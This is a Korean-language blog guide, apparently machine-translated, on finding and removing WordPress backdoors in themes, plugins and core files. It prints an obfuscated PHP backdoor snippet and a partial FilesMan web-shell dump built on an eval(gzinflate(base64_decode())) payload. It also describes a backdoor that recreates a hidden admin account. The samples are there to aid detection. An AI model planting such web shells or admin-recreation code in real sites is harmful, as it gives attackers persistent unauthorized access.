Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

WordPress 백도어 해킹:증상, 발견 및 수정

워드프레스 백도어란 무엇입니까?

WordPress 백도어는 공격자가 서버에 무단으로 지속적으로 액세스할 수 있도록 하는 코드입니다. 어딘가에 숨어 있는 악성 파일인 경우가 많습니다. 또는 때때로 감염된 플러그인일 수 있습니다. 매달 새로운 워드프레스 백도어 해킹 변종을 찾을 수 있습니다.

해커는 항상 WordPress 백도어를 주입하려고 시도합니다. 수년 동안 감염을 퍼뜨리는 데 사용된 여러 플러그인이 있습니다. 따라서 위협은 어디에서나 발생할 수 있습니다. 나중에 WordPress 백도어를 제거하는 데 시간과 리소스가 많이 소요될 수 있습니다. 그러나 예방 조치는 항상 피해를 통제할 수 있습니다. 안전한 WordPress 사이트는 예방하지 않으면 공격을 지연시킬 수 있습니다. 이 블로그에서 WordPress 백도어를 찾고 수정하는 방법에 대해 자세히 알아보겠습니다.

WordPress 백도어 해킹으로 이어지는 것은 무엇입니까?

WordPress 사이트를 설정하는 것은 상당히 편안합니다. 그러나 여러 허점으로 인해 WordPress 백도어가 생길 수 있습니다. 따라서 단순화를 위해 소수로 좁힐 수 있습니다. 다음은 다음과 같습니다.

  • 때로는 버그가 있는 플러그인이나 테마 때문일 수 있습니다.
  • 사이트에 대한 로그인 자격 증명이 취약하거나 기본값일 수 있습니다.
  • 파일 권한이 약해서 민감한 파일을 노출할 수 있습니다.
  • 방화벽이나 일종의 보안 솔루션을 사용하지 않습니다.
  • 설치가 오래되었을 수 있습니다.
  • 감염된 서버를 다른 웹사이트와 공유합니다. 서비스 제공업체에 서브넷팅을 요청하세요.
WordPress 백도어 해킹:증상, 발견 및 수정

관련 가이드 – WordPress 보안에 대한 단계별 가이드 완료(해킹 위험 90% 감소)

워드프레스 백도어 찾기

테마에서 WordPress 백도어 찾기

비활성 테마는 WordPress 백도어를 숨기기에 가장 좋은 장소입니다. 해커는 이 사실을 알고 있으며 종종 귀하의 사이트에서 그러한 테마를 찾습니다. 그 이유는 비활성 상태이므로 확인하지 않을 가능성이 적기 때문입니다. WP 테마에는 functions.php이라는 중요한 파일이 포함되어 있습니다. . 이 파일은 기본 PHP, WordPress 및 기타 기능을 호출하는 역할을 합니다. 따라서 간단히 말해서 모든 종류의 작업을 수행하는 데 사용할 수 있습니다. 종종 공격자는 WordPress 백도어를 얻기 위해 이 파일을 삽입하려고 합니다. 그러한 예가 아래 이미지에 나와 있습니다.

WordPress 백도어 해킹:증상, 발견 및 수정

이 악성 코드는 functions.php 파일에 있습니다. . 공격자가 URL을 방문할 때 트리거됩니다:www.yoursite.com/wp-includes/registration.php 따라서 이 함수는

를 사용하여 새 사용자를 만듭니다.

id: backdooradmin

password: Pa55W0rd.

따라서 사용자를 삭제하더라도 이 URL을 방문하여 다시 생성할 수 있습니다. 이것은 WordPress 백도어의 전형적인 예입니다. 그러나 이 코드는 먼저 서버에 액세스해야 주입할 수 있습니다. 열린 FTP 포트나 다른 허점을 사용하고 있을 수 있습니다.

플러그인에서 WordPress 백도어 찾기

WordPress 백도어 해킹은 종종 버그가 있는 플러그인으로 인해 발생합니다. 여러 플러그인이 수년에 걸쳐 버그가 발견되었습니다. 올해 가장 최근의 것은 Contact form 7이었습니다. 이 플러그인의 활성 사용자는 5백만 명이 넘습니다. 대조적으로, 버그는 권한 상승으로 이어졌습니다. 플러그인 파일이 수정되면 대시보드에 표시되지 않을 수 있습니다. 그러나 FTP 검색은 그러한 파일을 드러낼 수 있습니다. 또한 합법적으로 보이도록 백도어 파일의 이름을 도움말 파일로 지정합니다. 플러그인에서 백도어가 발견되는 이유는 다음과 같습니다.

  • 사용하지 않는 플러그인은 감염될 가능성이 더 큽니다. 오랫동안 백도어를 숨길 수 있기 때문입니다.
  • 신뢰할 수 없고 인기가 없는 플러그인은 종종 제대로 코딩되지 않습니다. 따라서 WordPress 백도어 해킹의 가능성이 높아집니다.
  • 오래된 플러그인이 대상이 될 가능성이 높습니다. 많은 사람들이 여전히 업데이트하지 않고 실행하고 있기 때문입니다.
  • 이 버그가 있는 플러그인은 다른 핵심 파일을 수정하는 데 도움이 될 수 있습니다.

따라서 알 수 없는 플러그인이 있는지 확인하십시오. 사용하지 않는 모든 플러그인을 청소하세요!

설치 파일에서 WordPress 백도어 찾기

플러그인이 감염된 후 코어 파일 수정이 뒤따릅니다. 기본 파일에 악성 코드가 있거나 새 파일이 나타날 수 있습니다. 때때로 백도어는 다음과 같이 횡설수설하게 보일 수 있습니다.

$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43

이 코드는 알려진 기술을 사용하여 난독화되었습니다. 따라서 인간 사용자가 읽기를 더 어렵게 만듭니다. 따라서 비리처럼 보이는 코드를 찾아보고 포함된 파일을 제거하십시오. 때때로 백도어가 xml.php, media.php, plugin.php 등과 같은 합법적인 파일로 나타날 수 있습니다. 따라서 합법적인 것처럼 보이더라도 어떤 파일도 건너뛰지 마십시오. 또한 코드를 읽기 어렵게 만드는 다른 기술이 있습니다.

또한 키워드 FilesMan을 찾으십시오. 당신의 파일에. 예를 들어, 이것은 악명 높은 백도어 Filesman:02의 덤프입니다. . 이 백도어는 감지하기 어렵고 로그에 표시되지 않습니다. 비밀번호 및 기타 세부 정보를 도용하는 데 사용됩니다.

<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='x29x29x29x3B",".");
?>

예를 들어, 6번째 줄의 코드는 16진수 형식입니다. 변환되면 다음과 같이 표시됩니다. preg_replace("/.*/e","eval(gzinfla\ . 16진수 문자를 디코딩하기 위해 온라인에서 사용할 수 있는 도구가 있습니다. 그것을 써! 또한 공격자는 base64 인코딩을 사용하여 코드를 숨길 수 있습니다. 따라서 비슷하게 처리하십시오. 여기 키워드 FilesMan 4번째 줄에 있습니다. 이 감염의 이러한 변종에는 이 키워드가 있습니다. 때때로 코드가 .htaccess과 같은 민감한 파일을 변조할 수 있습니다. . 따라서 이것들을 잘 살펴보십시오!

워드프레스 백도어 해킹을 수정하는 방법

체크섬 비교

첫 번째 단계는 체크섬을 비교하는 것입니다. 파일 무결성에 대한 경험적 결정입니다. 수동 검사를 수행할 수 있습니다. 또한 이를 위해 무료로 사용할 수 있는 자동 도구가 있습니다. 코어 파일뿐만 아니라 체크섬도 플러그인과 테마에 사용할 수 있습니다. 또한 개인 블랙리스트를 유지할 수 있습니다. 이것은 공개 도메인에서 사용 가능한 목록을 사용하여 수행할 수 있습니다. 체크섬이 일치하지 않으면 WordPress 백도어를 수동으로 제거합니다.

핵심 파일 무결성

둘째, 파일이 다른 체크섬 값을 표시한 후 수동으로 검사합니다. WordPress 백도어 해킹이 파일을 변조했을 가능성이 매우 높습니다. 따라서 설치 파일의 무결성을 확인할 수 있습니다. WordPress의 새 사본을 다운로드하여 시작하십시오.

$ mkdir WordPress

$ cd WordPress

이 명령은 WordPress라는 디렉토리를 생성했습니다. 그걸로 바꿨습니다.

$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip 

$ tar -zxvf 4.9.8.zip

이제 첫 번째 코드 줄을 사용하여 최신 버전의 WordPress(이 경우 4.9.8)를 다운로드합니다. 그런 다음 두 번째 줄에서 추출합니다. 이러한 작업을 완료한 후 중요한 단계가 옵니다. $ diff -r path/to/your/file.php  /Wordpress/wp-cron.php . 이 코드는 두 파일의 차이점을 비교합니다. WordPress 백도어가 파일을 편집했으므로 변경 사항이 표시됩니다. 그러나 일부 파일은 xmlrpc.php과 같이 동적입니다. . 이 파일은 사용자와 서비스가 RPC를 통해 사이트와 상호 작용하는 데 도움이 됩니다. 해커는 이것을 알고 종종 백도어를 여기에 숨기려고 합니다. 따라서 WordPress 백도어를 찾아 제거하려면 이를 철저히 확인하십시오.

인코딩

때때로 파일이 수정된 것으로 표시되지만 읽을 수 없을 수도 있습니다. 그런 다음 base64를 찾아 WordPress 백도어 해킹 정리를 시작할 수 있습니다. 인코딩. 여기서 grep 명령은 놀라운 일을 할 수 있습니다. 다음 명령을 사용하십시오.

find . -name "*.php" -exec grep "base64"'{}'\; -print &> output.txt

이 명령은 output.txt의 모든 base64 탐지를 깔끔하게 나열합니다. 여기에서 온라인 도구를 사용하여 일반 텍스트로 디코딩할 수 있습니다. 또한 .php 이외의 파일을 검색하려면 *.php 단어를 바꾸세요. 코드에서. 또한 악성 코드도 16진수 형식일 수 있습니다. 따라서 grep -Pr "[\x01\x02\x03]"을 사용할 수 있습니다. . 다른 유사한 인코딩의 경우 이 단계를 반복합니다. WordPress 백도어를 제거하려면 이러한 파일 또는 악성 코드 라인을 삭제하십시오.

서버 로그 사용

서버 로그는 WordPress 백도어를 제거하는 데 도움이 될 수 있습니다. 먼저 특정 날짜 이후에 어떤 파일이 편집되었는지 확인해야 합니다. 또한 FTP 로그를 통해 서버에 연결하는 데 사용된 IP를 확인합니다. 최근에 편집한 파일을 계속 확인하세요. 또한 이미지 폴더를 찾으십시오. 아무도 이미지 폴더에 실행 파일이 있을 것으로 기대하지 않습니다. 또한 이미지 폴더에 쓰기가 가능할 수 있습니다. 이것이 해커가 백도어를 숨기는 것을 좋아하는 이유입니다. 또한 권한이 민감한 파일에 적합한지 확인하십시오. 따라서 파일 권한을 444 (r–r–r–)로 설정하십시오. 또는 440 (r–r—–) . 특히 이미지 폴더의 변경 사항을 참조하십시오.

업데이트 및 백업

WordPress 웹사이트 업데이트의 중요성은 계속해서 강조되었습니다. 오래된 설치는 감염된 것만큼 좋습니다.

워드프레스 백도어 해킹의 원인을 추적할 수 없는 경우 현재 사이트 백업을 수행한 후 백업에서 복원한 후 둘을 비교하십시오.

기존 백업이 없고 핵심 WordPress 파일을 새 파일로 교체하려는 경우. 이를 위해서는 현재 사이트 백업을 수행한 후 WordPress 웹사이트를 수동으로 업데이트해야 합니다.

또한 사용하는 플러그인에 대한 취약점이 보고되면 즉시 업데이트하는 것이 좋습니다. 패치가 너무 오래 걸리면 대체품으로 교체하십시오. 공식 블로그를 최신 상태로 유지하여 최대한 빨리 패치를 받는 것이 좋습니다.

WordPress 백도어 스캐너 사용

인간은 실수하기 쉽습니다. 수동 검사는 지루하고 오류가 발생하기 쉽습니다. WordPress 백도어 해킹이 다시 발생할 수 있습니다. 이에 대한 해결책은 자동화입니다. 오늘날 시장에는 상당히 고급 도구가 있습니다. 이 스캐너는 숨겨진 WordPress 백도어 위치를 감지하고 해당 백도어를 제거하는 단계를 제공할 수 있습니다.